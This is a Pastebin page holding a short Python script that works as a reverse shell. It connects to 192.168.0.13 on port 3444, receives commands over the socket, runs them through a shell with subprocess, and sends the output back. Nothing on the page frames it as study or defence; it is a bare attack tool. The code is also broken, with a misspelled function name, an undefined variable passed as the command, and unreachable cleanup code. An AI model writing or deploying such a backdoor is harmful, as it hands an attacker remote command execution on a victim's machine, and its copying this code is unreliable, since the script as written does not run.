Advertisement
Guest User

Untitled

a guest
Aug 20th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. #! /usr/bin/env python
  2.  
  3. import socket
  4. import subprocess
  5.  
  6. def excute_system_command(command):
  7. return subprocess.check_output(command, shell=True)
  8.  
  9.  
  10. connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. connection.connect(("192.168.0.13",3444))
  12.  
  13. connection.send("\n[+] Connection establised.\n")
  14.  
  15. while(True):
  16. command = connection.recv(1024)
  17. command_result = execute_system_command(recieved_data)
  18. connection.send(command_result)
  19.  
  20.  
  21.  
  22. connection.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement